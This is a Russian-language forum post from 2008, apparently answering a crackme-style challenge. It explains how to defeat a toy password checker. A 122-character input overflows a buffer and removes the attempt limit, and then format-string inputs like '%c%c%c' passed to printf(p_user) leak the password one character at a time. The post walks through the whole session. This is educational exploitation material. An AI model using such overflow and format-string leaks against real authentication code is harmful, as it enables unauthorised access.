Показать сообщение отдельно

  #6  
Старый 18.09.2008, 18:24
winterfrost
Познающий
Регистрация: 18.08.2008
Сообщений: 45
С нами: 9331083

Репутация: 64
По умолчанию

Вероятно, один из способов решения, это использовать ошибку форматной строки:
Код:
printf(p_user);
Так-же нет никаких ограничений на длинну ввода в переменные, вероятно, это тоже можо как-то использовать. Например, если во время первого запроса на ввод пароля ввести более 122 символов, то исчезнет ограничение на 2-е попытки угадать пароль

P.S. компилировал gcc на 64-битной системе

upd:
Вобщем, вот мой вариант решения данной задачи =)
Код:
Etalon password: 1234
[...]
Password: <122 симола 'a'>
<122 симола 'a'> - wrong pasword!
Password: %c%c%c

1 - wrong pasword!
Password: 1%c%c%c
1
2 - wrong pasword!
Password: 12%c%c%c
12
3 - wrong pasword!
Password: 123%c%c%c
123
4 - wrong pasword!
Password: 1234%c%c%c
1234
 - wrong pasword!
Password: 1234

You're COOl hacker!!!
Сообщая что пароль не верный, программа выводит следующий верный симол пароля(перед "- wrong pasword!"), таким образом, убрав ограничение на 2-е попытки (122 сивола 'a'), мы посимвольно подбираем верный пароль.

Последний раз редактировалось winterfrost; 18.09.2008 в 18:53..
 
Ответить с цитированием